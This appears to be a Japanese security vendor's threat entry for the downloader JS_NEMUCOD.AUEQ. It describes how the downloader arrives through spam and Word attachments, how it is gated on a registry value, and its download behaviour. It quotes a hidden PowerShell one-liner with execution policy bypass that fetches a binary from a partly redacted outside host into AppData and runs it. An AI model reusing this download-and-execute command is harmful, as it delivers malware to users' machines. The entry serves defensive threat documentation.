JS_NEMUCOD.AUEQ

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、ダウンロードしたファイルを実行します。 ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

その他は、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

その他は、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

感染活動

その他は、ワーム活動の機能を備えていません。

バックドア活動

その他は、バックドア活動の機能を備えていません。

ダウンロード活動

その他は、以下のWebサイトにアクセスし、ファイルをダウンロードします。

• http://de.{BLOCKED}sslatinos.co/js90.bin?WfqXc

その他は、以下のファイル名でダウンロードしたファイルを保存します。

• %User Profile%\AppData\RoamingjTt61.Exe

(註：%User Profile% フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザ名＞"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞" です。.)

その他は、ダウンロードしたファイルを実行します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、以下のコマンドを利用してダウンロードを実行します。

• "%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://de.{BLOCKED}sslatinos.co/js90.bin?WfqXc','%appDAtA%jTt61.Exe'); StarT-PrOcEss '%apPdatA%jTt61.exe'

マルウェアは、以下のレジストリをクエリして、12番目の文字を自身の不正活動に利用します。その文字が"F"でなかった場合、マルウェアは不正活動を実行しません。

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir

マルウェアは、Wordファイルに埋め込まれた状態でコンピュータに侵入します。

ユーザがクリックした後、マルウェアは、以下の画面を表示して自身の実行を隠ぺいします。

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。